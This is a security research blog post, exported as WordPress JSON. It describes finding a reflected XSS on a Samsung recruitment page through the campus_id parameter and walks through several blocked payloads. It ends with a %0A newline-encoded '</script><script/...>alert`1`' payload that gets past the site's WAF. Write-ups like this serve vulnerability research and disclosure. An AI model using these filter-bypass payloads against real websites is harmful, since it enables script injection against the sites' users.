{"id":167,"date":"2022-11-28T15:02:00","date_gmt":"2022-11-28T08:02:00","guid":{"rendered":"https:\/\/n45ht.or.id\/blog\/?p=167"},"modified":"2024-12-14T15:18:46","modified_gmt":"2024-12-14T08:18:46","slug":"exploiting-0a-injection-for-xss-on-samsung","status":"publish","type":"post","link":"https:\/\/n45ht.or.id\/blog\/exploiting-0a-injection-for-xss-on-samsung\/","title":{"rendered":"Exploiting %0A Injection for XSS on Samsung"},"content":{"rendered":"\n<p>I began by searching for subdomains using <strong>Sublist3r<\/strong> and then checked the HTTP status codes for each subdomain I found.<\/p>\n\n\n\n<figure class=\"wp-block-image aligncenter size-full is-resized\"><img decoding=\"async\" src=\"https:\/\/n45ht.or.id\/blog\/wp-content\/uploads\/2024\/12\/samsung-s.jpg\" alt=\"\" class=\"wp-image-168\" style=\"width:477px;height:auto\"\/><\/figure>\n\n\n\n<p>I also used <strong>Google Dorks<\/strong> to find interesting URLs on the site. After some time, I tried the following Google Dork:<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code lang=\"HTML\" class=\"language-HTML\">site:sgsg.samsung.com<\/code><\/pre>\n\n\n\n<p>This led me to an interesting URL:<\/p>\n\n\n\n<p><strong>URL:<\/strong><\/p>\n\n\n\n<pre class=\"wp-block-code\"><code lang=\"HTML\" class=\"language-HTML\">https:\/\/www.sgsg.samsung.com\/main\/newpage.php?campus_id=Oxford&amp;f_id=recruit_campus<\/code><\/pre>\n\n\n\n<p>Upon inspecting the source code, I found that the server was rendering the value from the <strong>campus_id<\/strong> parameter directly in JavaScript. Here&#8217;s the snippet from the response:<\/p>\n\n\n\n<div class=\"wp-block-kevinbatdorf-code-block-pro\" data-code-block-pro-font-family=\"Code-Pro-JetBrains-Mono\" style=\"font-size:.875rem;font-family:Code-Pro-JetBrains-Mono,ui-monospace,SFMono-Regular,Menlo,Monaco,Consolas,monospace;line-height:1.25rem;--cbp-tab-width:2;tab-size:var(--cbp-tab-width, 2)\"><span style=\"display:block;padding:16px 0 0 16px;margin-bottom:-1px;width:100%;text-align:left;background-color:#2e3440ff\"><svg xmlns=\"http:\/\/www.w3.org\/2000\/svg\" width=\"54\" height=\"14\" viewBox=\"0 0 54 14\"><g fill=\"none\" fill-rule=\"evenodd\" transform=\"translate(1 1)\"><circle cx=\"6\" cy=\"6\" r=\"6\" fill=\"#FF5F56\" stroke=\"#E0443E\" stroke-width=\".5\"><\/circle><circle cx=\"26\" cy=\"6\" r=\"6\" fill=\"#FFBD2E\" stroke=\"#DEA123\" stroke-width=\".5\"><\/circle><circle cx=\"46\" cy=\"6\" r=\"6\" fill=\"#27C93F\" stroke=\"#1AAB29\" stroke-width=\".5\"><\/circle><\/g><\/svg><\/span><span role=\"button\" tabindex=\"0\" data-code=\"&lt;script type=&quot;text\/javascript&quot;&gt;\n \/\/&lt;![CDATA[\n var timer;\n var campus_id = &quot;Oxford&quot;;\n ...\" style=\"color:#d8dee9ff;display:none\" aria-label=\"Copy\" class=\"code-block-pro-copy-button\"><svg xmlns=\"http:\/\/www.w3.org\/2000\/svg\" style=\"width:24px;height:24px\" fill=\"none\" viewBox=\"0 0 24 24\" stroke=\"currentColor\" stroke-width=\"2\"><path class=\"with-check\" stroke-linecap=\"round\" stroke-linejoin=\"round\" d=\"M4.5 12.75l6 6 9-13.5\"><\/path><path class=\"without-check\" stroke-linecap=\"round\" stroke-linejoin=\"round\" d=\"M16.5 8.25V6a2.25 2.25 0 00-2.25-2.25H6A2.25 2.25 0 003.75 6v8.25A2.25 2.25 0 006 16.5h2.25m8.25-8.25H18a2.25 2.25 0 012.25 2.25V18A2.25 2.25 0 0118 20.25h-7.5A2.25 2.25 0 018.25 18v-1.5m8.25-8.25h-6a2.25 2.25 0 00-2.25 2.25v6\"><\/path><\/svg><\/span><pre class=\"shiki nord\" style=\"background-color: #2e3440ff\" tabindex=\"0\"><code><span class=\"line\"><span style=\"color: #81A1C1\">&lt;script<\/span><span style=\"color: #D8DEE9FF\"> <\/span><span style=\"color: #8FBCBB\">type<\/span><span style=\"color: #ECEFF4\">=<\/span><span style=\"color: #ECEFF4\">&quot;<\/span><span style=\"color: #A3BE8C\">text\/javascript<\/span><span style=\"color: #ECEFF4\">&quot;<\/span><span style=\"color: #81A1C1\">&gt;<\/span><\/span>\n<span class=\"line\"><span style=\"color: #ECEFF4\"> <\/span><span style=\"color: #616E88\">\/\/&lt;![CDATA[<\/span><\/span>\n<span class=\"line\"><span style=\"color: #D8DEE9FF\"> <\/span><span style=\"color: #81A1C1\">var<\/span><span style=\"color: #D8DEE9FF\"> <\/span><span style=\"color: #D8DEE9\">timer<\/span><span style=\"color: #81A1C1\">;<\/span><\/span>\n<span class=\"line\"><span style=\"color: #D8DEE9FF\"> <\/span><span style=\"color: #81A1C1\">var<\/span><span style=\"color: #D8DEE9FF\"> <\/span><span style=\"color: #D8DEE9\">campus_id<\/span><span style=\"color: #D8DEE9FF\"> <\/span><span style=\"color: #81A1C1\">=<\/span><span style=\"color: #D8DEE9FF\"> <\/span><span style=\"color: #ECEFF4\">&quot;<\/span><span style=\"color: #A3BE8C\">Oxford<\/span><span style=\"color: #ECEFF4\">&quot;<\/span><span style=\"color: #81A1C1\">;<\/span><\/span>\n<span class=\"line\"><span style=\"color: #D8DEE9FF\"> <\/span><span style=\"color: #81A1C1\">...<\/span><\/span><\/code><\/pre><\/div>\n\n\n\n<h4 class=\"wp-block-heading\"><strong>Trying a Simple Injection<\/strong><\/h4>\n\n\n\n<p>To test the system&#8217;s response to special characters, I first tried injecting a quote (<code>\"<\/code>) into the <code>campus_id<\/code> parameter.<\/p>\n\n\n\n<p><strong>Request:<\/strong><\/p>\n\n\n\n<pre class=\"wp-block-code\"><code lang=\"HTML\" class=\"language-HTML\">https:\/\/www.sgsg.samsung.com\/main\/newpage.php?f_id=recruit_campus&amp;campus_id=Oxford%22<\/code><\/pre>\n\n\n\n<p><strong>Response:<\/strong><\/p>\n\n\n\n<div class=\"wp-block-kevinbatdorf-code-block-pro\" data-code-block-pro-font-family=\"Code-Pro-JetBrains-Mono\" style=\"font-size:.875rem;font-family:Code-Pro-JetBrains-Mono,ui-monospace,SFMono-Regular,Menlo,Monaco,Consolas,monospace;line-height:1.25rem;--cbp-tab-width:2;tab-size:var(--cbp-tab-width, 2)\"><span style=\"display:block;padding:16px 0 0 16px;margin-bottom:-1px;width:100%;text-align:left;background-color:#2e3440ff\"><svg xmlns=\"http:\/\/www.w3.org\/2000\/svg\" width=\"54\" height=\"14\" viewBox=\"0 0 54 14\"><g fill=\"none\" fill-rule=\"evenodd\" transform=\"translate(1 1)\"><circle cx=\"6\" cy=\"6\" r=\"6\" fill=\"#FF5F56\" stroke=\"#E0443E\" stroke-width=\".5\"><\/circle><circle cx=\"26\" cy=\"6\" r=\"6\" fill=\"#FFBD2E\" stroke=\"#DEA123\" stroke-width=\".5\"><\/circle><circle cx=\"46\" cy=\"6\" r=\"6\" fill=\"#27C93F\" stroke=\"#1AAB29\" stroke-width=\".5\"><\/circle><\/g><\/svg><\/span><span role=\"button\" tabindex=\"0\" data-code=\"&lt;script type=&quot;text\/javascript&quot;&gt;\n \/\/&lt;![CDATA[\n var timer;\n var campus_id = &quot;Oxford\\&quot;&quot;;\n ...\" style=\"color:#d8dee9ff;display:none\" aria-label=\"Copy\" class=\"code-block-pro-copy-button\"><svg xmlns=\"http:\/\/www.w3.org\/2000\/svg\" style=\"width:24px;height:24px\" fill=\"none\" viewBox=\"0 0 24 24\" stroke=\"currentColor\" stroke-width=\"2\"><path class=\"with-check\" stroke-linecap=\"round\" stroke-linejoin=\"round\" d=\"M4.5 12.75l6 6 9-13.5\"><\/path><path class=\"without-check\" stroke-linecap=\"round\" stroke-linejoin=\"round\" d=\"M16.5 8.25V6a2.25 2.25 0 00-2.25-2.25H6A2.25 2.25 0 003.75 6v8.25A2.25 2.25 0 006 16.5h2.25m8.25-8.25H18a2.25 2.25 0 012.25 2.25V18A2.25 2.25 0 0118 20.25h-7.5A2.25 2.25 0 018.25 18v-1.5m8.25-8.25h-6a2.25 2.25 0 00-2.25 2.25v6\"><\/path><\/svg><\/span><pre class=\"shiki nord\" style=\"background-color: #2e3440ff\" tabindex=\"0\"><code><span class=\"line\"><span style=\"color: #81A1C1\">&lt;script<\/span><span style=\"color: #D8DEE9FF\"> <\/span><span style=\"color: #8FBCBB\">type<\/span><span style=\"color: #ECEFF4\">=<\/span><span style=\"color: #ECEFF4\">&quot;<\/span><span style=\"color: #A3BE8C\">text\/javascript<\/span><span style=\"color: #ECEFF4\">&quot;<\/span><span style=\"color: #81A1C1\">&gt;<\/span><\/span>\n<span class=\"line\"><span style=\"color: #ECEFF4\"> <\/span><span style=\"color: #616E88\">\/\/&lt;![CDATA[<\/span><\/span>\n<span class=\"line\"><span style=\"color: #D8DEE9FF\"> <\/span><span style=\"color: #81A1C1\">var<\/span><span style=\"color: #D8DEE9FF\"> <\/span><span style=\"color: #D8DEE9\">timer<\/span><span style=\"color: #81A1C1\">;<\/span><\/span>\n<span class=\"line\"><span style=\"color: #D8DEE9FF\"> <\/span><span style=\"color: #81A1C1\">var<\/span><span style=\"color: #D8DEE9FF\"> <\/span><span style=\"color: #D8DEE9\">campus_id<\/span><span style=\"color: #D8DEE9FF\"> <\/span><span style=\"color: #81A1C1\">=<\/span><span style=\"color: #D8DEE9FF\"> <\/span><span style=\"color: #ECEFF4\">&quot;<\/span><span style=\"color: #A3BE8C\">Oxford<\/span><span style=\"color: #EBCB8B\">\\&quot;<\/span><span style=\"color: #ECEFF4\">&quot;<\/span><span style=\"color: #81A1C1\">;<\/span><\/span>\n<span class=\"line\"><span style=\"color: #D8DEE9FF\"> <\/span><span style=\"color: #81A1C1\">...<\/span><\/span><\/code><\/pre><\/div>\n\n\n\n<p>The system accepted the injection but didn\u2019t allow it to execute anything harmful. It seems that the server escaped quotes.<\/p>\n\n\n\n<h4 class=\"wp-block-heading\"><strong>Trying JavaScript Tag Injection<\/strong><\/h4>\n\n\n\n<p>Next, I tried injecting a closing <code>&lt;\/script&gt;<\/code> tag, hoping to break the JavaScript context:<\/p>\n\n\n\n<p><strong>Request:<\/strong><\/p>\n\n\n\n<pre class=\"wp-block-code\"><code lang=\"HTML\" class=\"language-HTML\">https:\/\/www.sgsg.samsung.com\/main\/newpage.php?f_id=recruit_campus&amp;campus_id=&lt;\/script><\/code><\/pre>\n\n\n\n<p><strong>Response:<\/strong><\/p>\n\n\n\n<div class=\"wp-block-kevinbatdorf-code-block-pro\" data-code-block-pro-font-family=\"Code-Pro-JetBrains-Mono\" style=\"font-size:.875rem;font-family:Code-Pro-JetBrains-Mono,ui-monospace,SFMono-Regular,Menlo,Monaco,Consolas,monospace;line-height:1.25rem;--cbp-tab-width:2;tab-size:var(--cbp-tab-width, 2)\"><span style=\"display:block;padding:16px 0 0 16px;margin-bottom:-1px;width:100%;text-align:left;background-color:#2e3440ff\"><svg xmlns=\"http:\/\/www.w3.org\/2000\/svg\" width=\"54\" height=\"14\" viewBox=\"0 0 54 14\"><g fill=\"none\" fill-rule=\"evenodd\" transform=\"translate(1 1)\"><circle cx=\"6\" cy=\"6\" r=\"6\" fill=\"#FF5F56\" stroke=\"#E0443E\" stroke-width=\".5\"><\/circle><circle cx=\"26\" cy=\"6\" r=\"6\" fill=\"#FFBD2E\" stroke=\"#DEA123\" stroke-width=\".5\"><\/circle><circle cx=\"46\" cy=\"6\" r=\"6\" fill=\"#27C93F\" stroke=\"#1AAB29\" stroke-width=\".5\"><\/circle><\/g><\/svg><\/span><span role=\"button\" tabindex=\"0\" data-code=\"&lt;script type=&quot;text\/javascript&quot;&gt;\n \/\/&lt;![CDATA[\n var timer;\n var campus_id = &quot;&lt;\/script&gt;&quot;;\n ...\" style=\"color:#d8dee9ff;display:none\" aria-label=\"Copy\" class=\"code-block-pro-copy-button\"><svg xmlns=\"http:\/\/www.w3.org\/2000\/svg\" style=\"width:24px;height:24px\" fill=\"none\" viewBox=\"0 0 24 24\" stroke=\"currentColor\" stroke-width=\"2\"><path class=\"with-check\" stroke-linecap=\"round\" stroke-linejoin=\"round\" d=\"M4.5 12.75l6 6 9-13.5\"><\/path><path class=\"without-check\" stroke-linecap=\"round\" stroke-linejoin=\"round\" d=\"M16.5 8.25V6a2.25 2.25 0 00-2.25-2.25H6A2.25 2.25 0 003.75 6v8.25A2.25 2.25 0 006 16.5h2.25m8.25-8.25H18a2.25 2.25 0 012.25 2.25V18A2.25 2.25 0 0118 20.25h-7.5A2.25 2.25 0 018.25 18v-1.5m8.25-8.25h-6a2.25 2.25 0 00-2.25 2.25v6\"><\/path><\/svg><\/span><pre class=\"shiki nord\" style=\"background-color: #2e3440ff\" tabindex=\"0\"><code><span class=\"line\"><span style=\"color: #81A1C1\">&lt;script<\/span><span style=\"color: #D8DEE9FF\"> <\/span><span style=\"color: #8FBCBB\">type<\/span><span style=\"color: #ECEFF4\">=<\/span><span style=\"color: #ECEFF4\">&quot;<\/span><span style=\"color: #A3BE8C\">text\/javascript<\/span><span style=\"color: #ECEFF4\">&quot;<\/span><span style=\"color: #81A1C1\">&gt;<\/span><\/span>\n<span class=\"line\"><span style=\"color: #ECEFF4\"> <\/span><span style=\"color: #616E88\">\/\/&lt;![CDATA[<\/span><\/span>\n<span class=\"line\"><span style=\"color: #D8DEE9FF\"> <\/span><span style=\"color: #81A1C1\">var<\/span><span style=\"color: #D8DEE9FF\"> <\/span><span style=\"color: #D8DEE9\">timer<\/span><span style=\"color: #81A1C1\">;<\/span><\/span>\n<span class=\"line\"><span style=\"color: #D8DEE9FF\"> <\/span><span style=\"color: #81A1C1\">var<\/span><span style=\"color: #D8DEE9FF\"> <\/span><span style=\"color: #D8DEE9\">campus_id<\/span><span style=\"color: #D8DEE9FF\"> <\/span><span style=\"color: #81A1C1\">=<\/span><span style=\"color: #D8DEE9FF\"> <\/span><span style=\"color: #ECEFF4\">&quot;<\/span><span style=\"color: #A3BE8C\">&lt;\/script&gt;<\/span><span style=\"color: #ECEFF4\">&quot;<\/span><span style=\"color: #81A1C1\">;<\/span><\/span>\n<span class=\"line\"><span style=\"color: #D8DEE9FF\"> <\/span><span style=\"color: #81A1C1\">...<\/span><\/span><\/code><\/pre><\/div>\n\n\n\n<p>The server didn\u2019t block this request, and it seemed to parse the input. However, I couldn&#8217;t execute any malicious code yet.<\/p>\n\n\n\n<h4 class=\"wp-block-heading\"><strong>Attempting an XSS Payload<\/strong><\/h4>\n\n\n\n<p>I decided to try a <strong>XSS payload<\/strong> using an SVG tag, which is commonly used for XSS attacks.<\/p>\n\n\n\n<p><strong>Request:<\/strong><\/p>\n\n\n\n<pre class=\"wp-block-code\"><code lang=\"HTML\" class=\"language-HTML\">https:\/\/www.sgsg.samsung.com\/main\/newpage.php?f_id=recruit_campus&amp;campus_id=&lt;\/script>&lt;svg\/onload=alert`1`\/\/><\/code><\/pre>\n\n\n\n<p><strong>Response:<\/strong><br>[Blocked]<\/p>\n\n\n\n<figure class=\"wp-block-image aligncenter size-large is-resized\"><img loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"221\" src=\"https:\/\/n45ht.or.id\/blog\/wp-content\/uploads\/2024\/12\/samsung-b-1024x221.jpg\" alt=\"\" class=\"wp-image-169\" style=\"width:557px;height:auto\" srcset=\"https:\/\/n45ht.or.id\/blog\/wp-content\/uploads\/2024\/12\/samsung-b-1024x221.jpg 1024w, https:\/\/n45ht.or.id\/blog\/wp-content\/uploads\/2024\/12\/samsung-b-300x65.jpg 300w, https:\/\/n45ht.or.id\/blog\/wp-content\/uploads\/2024\/12\/samsung-b-768x166.jpg 768w, https:\/\/n45ht.or.id\/blog\/wp-content\/uploads\/2024\/12\/samsung-b.jpg 1348w\" sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/figure>\n\n\n\n<p>The server blocked the request because the <code>&lt;svg\/onload=alert``\/\/><\/code> payload.<\/p>\n\n\n\n<h4 class=\"wp-block-heading\"><strong>Trying Other HTML Tags<\/strong><\/h4>\n\n\n\n<p>I then tried other common HTML tags that might trigger JavaScript execution, but each attempt was blocked by the server.<\/p>\n\n\n\n<p>At this point, I suspected that the server was specifically filtering out certain tags like <code>&lt;script&gt;<\/code> and other potentially harmful HTML tags.<\/p>\n\n\n\n<h4 class=\"wp-block-heading\"><strong>Bypassing the Filter<\/strong><\/h4>\n\n\n\n<p>I started experimenting with different bypass methods to evade the WAF (Web Application Firewall) filtering. Here&#8217;s what I tried:<\/p>\n\n\n\n<h5 class=\"wp-block-heading\"><strong>Bypass 1:<\/strong><\/h5>\n\n\n\n<p><strong>Request:<\/strong><\/p>\n\n\n\n<pre class=\"wp-block-code\"><code lang=\"HTML\" class=\"language-HTML\">https:\/\/www.sgsg.samsung.com\/main\/newpage.php?f_id=recruit_campus&amp;campus_id&lt;\/script>&lt;script\/\/\/>alert`1`\/\/<\/code><\/pre>\n\n\n\n<p><br><strong>Response:<\/strong><br>[Blocked]<\/p>\n\n\n\n<h5 class=\"wp-block-heading\"><strong>Bypass 2:<\/strong><\/h5>\n\n\n\n<p><strong>Request:<\/strong><\/p>\n\n\n\n<pre class=\"wp-block-code\"><code lang=\"HTML\" class=\"language-HTML\">https:\/\/www.sgsg.samsung.com\/main\/newpage.php?f_id=recruit_campus&amp;campus_id&lt;\/script>&lt;script\/k>alert`1`\/\/<\/code><\/pre>\n\n\n\n<p><strong>Response:<\/strong><br>[Blocked]<\/p>\n\n\n\n<h5 class=\"wp-block-heading\"><strong>Bypass 3:<\/strong><\/h5>\n\n\n\n<p><strong>Request:<\/strong><\/p>\n\n\n\n<pre class=\"wp-block-code\"><code lang=\"HTML\" class=\"language-HTML\">https:\/\/www.sgsg.samsung.com\/main\/newpage.php?f_id=recruit_campus&amp;campus_id&lt;\/script>&lt;script\/s=1\/k\/\/>alert`1`\/\/<\/code><\/pre>\n\n\n\n<p><br><strong>Response:<\/strong><br>[Blocked]<\/p>\n\n\n\n<h5 class=\"wp-block-heading\"><strong>Bypass 4:<\/strong><\/h5>\n\n\n\n<p><strong>Request:<\/strong><\/p>\n\n\n\n<pre class=\"wp-block-code\"><code lang=\"HTML\" class=\"language-HTML\">https:\/\/www.sgsg.samsung.com\/main\/newpage.php?f_id=recruit_campus&amp;campus_id&lt;\/script>&lt;script\/&lt;k>alert`1`\/\/<\/code><\/pre>\n\n\n\n<p><strong>Response:<\/strong><br>[Blocked]<\/p>\n\n\n\n<h5 class=\"wp-block-heading\"><strong>Bypass 5:<\/strong><\/h5>\n\n\n\n<p>This time, I decided to encode the newline character (<code>%0A<\/code>) in my payload, which is commonly used to bypass WAFs.<\/p>\n\n\n\n<p><strong>Request:<\/strong><\/p>\n\n\n\n<pre class=\"wp-block-code\"><code lang=\"HTML\" class=\"language-HTML\">https:\/\/www.sgsg.samsung.com\/main\/newpage.php?f_id=recruit_campus&amp;campus_id&lt;\/script>&lt;script\/%0A&lt;k>alert`1`\/\/<\/code><\/pre>\n\n\n\n<p><strong>Response:<\/strong><\/p>\n\n\n\n<div class=\"wp-block-kevinbatdorf-code-block-pro\" data-code-block-pro-font-family=\"Code-Pro-JetBrains-Mono\" style=\"font-size:.875rem;font-family:Code-Pro-JetBrains-Mono,ui-monospace,SFMono-Regular,Menlo,Monaco,Consolas,monospace;line-height:1.25rem;--cbp-tab-width:2;tab-size:var(--cbp-tab-width, 2)\"><span style=\"display:block;padding:16px 0 0 16px;margin-bottom:-1px;width:100%;text-align:left;background-color:#2e3440ff\"><svg xmlns=\"http:\/\/www.w3.org\/2000\/svg\" width=\"54\" height=\"14\" viewBox=\"0 0 54 14\"><g fill=\"none\" fill-rule=\"evenodd\" transform=\"translate(1 1)\"><circle cx=\"6\" cy=\"6\" r=\"6\" fill=\"#FF5F56\" stroke=\"#E0443E\" stroke-width=\".5\"><\/circle><circle cx=\"26\" cy=\"6\" r=\"6\" fill=\"#FFBD2E\" stroke=\"#DEA123\" stroke-width=\".5\"><\/circle><circle cx=\"46\" cy=\"6\" r=\"6\" fill=\"#27C93F\" stroke=\"#1AAB29\" stroke-width=\".5\"><\/circle><\/g><\/svg><\/span><span role=\"button\" tabindex=\"0\" data-code=\"&lt;script type=&quot;text\/javascript&quot;&gt;\n \/\/&lt;![CDATA[\n var timer;\n var campus_id = &quot;&lt;\/script&gt;&lt;script\/\n &lt;k&gt;alert`1`\/\/&quot;;\n ...\" style=\"color:#d8dee9ff;display:none\" aria-label=\"Copy\" class=\"code-block-pro-copy-button\"><svg xmlns=\"http:\/\/www.w3.org\/2000\/svg\" style=\"width:24px;height:24px\" fill=\"none\" viewBox=\"0 0 24 24\" stroke=\"currentColor\" stroke-width=\"2\"><path class=\"with-check\" stroke-linecap=\"round\" stroke-linejoin=\"round\" d=\"M4.5 12.75l6 6 9-13.5\"><\/path><path class=\"without-check\" stroke-linecap=\"round\" stroke-linejoin=\"round\" d=\"M16.5 8.25V6a2.25 2.25 0 00-2.25-2.25H6A2.25 2.25 0 003.75 6v8.25A2.25 2.25 0 006 16.5h2.25m8.25-8.25H18a2.25 2.25 0 012.25 2.25V18A2.25 2.25 0 0118 20.25h-7.5A2.25 2.25 0 018.25 18v-1.5m8.25-8.25h-6a2.25 2.25 0 00-2.25 2.25v6\"><\/path><\/svg><\/span><pre class=\"shiki nord\" style=\"background-color: #2e3440ff\" tabindex=\"0\"><code><span class=\"line\"><span style=\"color: #81A1C1\">&lt;script<\/span><span style=\"color: #D8DEE9FF\"> <\/span><span style=\"color: #8FBCBB\">type<\/span><span style=\"color: #ECEFF4\">=<\/span><span style=\"color: #ECEFF4\">&quot;<\/span><span style=\"color: #A3BE8C\">text\/javascript<\/span><span style=\"color: #ECEFF4\">&quot;<\/span><span style=\"color: #81A1C1\">&gt;<\/span><\/span>\n<span class=\"line\"><span style=\"color: #ECEFF4\"> <\/span><span style=\"color: #616E88\">\/\/&lt;![CDATA[<\/span><\/span>\n<span class=\"line\"><span style=\"color: #D8DEE9FF\"> <\/span><span style=\"color: #81A1C1\">var<\/span><span style=\"color: #D8DEE9FF\"> <\/span><span style=\"color: #D8DEE9\">timer<\/span><span style=\"color: #81A1C1\">;<\/span><\/span>\n<span class=\"line\"><span style=\"color: #D8DEE9FF\"> <\/span><span style=\"color: #81A1C1\">var<\/span><span style=\"color: #D8DEE9FF\"> <\/span><span style=\"color: #D8DEE9\">campus_id<\/span><span style=\"color: #D8DEE9FF\"> <\/span><span style=\"color: #81A1C1\">=<\/span><span style=\"color: #D8DEE9FF\"> <\/span><span style=\"color: #ECEFF4\">&quot;<\/span><span style=\"color: #A3BE8C\">&lt;\/script&gt;&lt;script<\/span><span style=\"color: #D8DEE9\">\/<\/span><\/span>\n<span class=\"line\"><span style=\"color: #D8DEE9FF\"> <\/span><span style=\"color: #81A1C1\">&lt;k&gt;<\/span><span style=\"color: #D8DEE9FF\">alert`1`\/\/&quot;;<\/span><\/span>\n<span class=\"line\"><span style=\"color: #D8DEE9FF\"> ...<\/span><\/span><\/code><\/pre><\/div>\n\n\n\n<p>This request was <strong>not blocked<\/strong>, and I successfully bypassed the WAF by using the <code>%0A<\/code> URL encoding for a newline character. The <code>alert(1)<\/code> payload executed successfully.<\/p>\n\n\n\n<figure class=\"wp-block-image aligncenter size-large is-resized\"><img loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"478\" src=\"https:\/\/n45ht.or.id\/blog\/wp-content\/uploads\/2024\/12\/samsung-s2-1024x478.jpg\" alt=\"\" class=\"wp-image-170\" style=\"width:509px;height:auto\" srcset=\"https:\/\/n45ht.or.id\/blog\/wp-content\/uploads\/2024\/12\/samsung-s2-1024x478.jpg 1024w, https:\/\/n45ht.or.id\/blog\/wp-content\/uploads\/2024\/12\/samsung-s2-300x140.jpg 300w, https:\/\/n45ht.or.id\/blog\/wp-content\/uploads\/2024\/12\/samsung-s2-768x359.jpg 768w, https:\/\/n45ht.or.id\/blog\/wp-content\/uploads\/2024\/12\/samsung-s2.jpg 1366w\" sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/figure>\n\n\n\n<p>In this case, I was able to bypass the server&#8217;s security mechanisms by using URL encoding (<code>%0A<\/code>) to inject a payload that triggered a <strong>XSS<\/strong> vulnerability. The server had filtering mechanisms to block traditional XSS payloads, but encoding the newline character allowed me to bypass the filter and execute the attack successfully.<\/p>\n","protected":false},"excerpt":{"rendered":"<p>I began by searching for subdomains using Sublist3r and then checked the HTTP status codes for each subdomain I found. I also used Google Dorks to find interesting URLs on the site. After some time, I tried the following Google Dork: This led me to an interesting URL: URL: Upon inspecting the source code, I [&hellip;]<\/p>\n","protected":false},"author":3,"featured_media":171,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[21],"tags":[9,8],"class_list":["post-167","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-research","tag-cross-site-scripting","tag-xss"],"_links":{"self":[{"href":"https:\/\/n45ht.or.id\/blog\/wp-json\/wp\/v2\/posts\/167","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/n45ht.or.id\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/n45ht.or.id\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/n45ht.or.id\/blog\/wp-json\/wp\/v2\/users\/3"}],"replies":[{"embeddable":true,"href":"https:\/\/n45ht.or.id\/blog\/wp-json\/wp\/v2\/comments?post=167"}],"version-history":[{"count":1,"href":"https:\/\/n45ht.or.id\/blog\/wp-json\/wp\/v2\/posts\/167\/revisions"}],"predecessor-version":[{"id":172,"href":"https:\/\/n45ht.or.id\/blog\/wp-json\/wp\/v2\/posts\/167\/revisions\/172"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/n45ht.or.id\/blog\/wp-json\/wp\/v2\/media\/171"}],"wp:attachment":[{"href":"https:\/\/n45ht.or.id\/blog\/wp-json\/wp\/v2\/media?parent=167"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/n45ht.or.id\/blog\/wp-json\/wp\/v2\/categories?post=167"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/n45ht.or.id\/blog\/wp-json\/wp\/v2\/tags?post=167"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}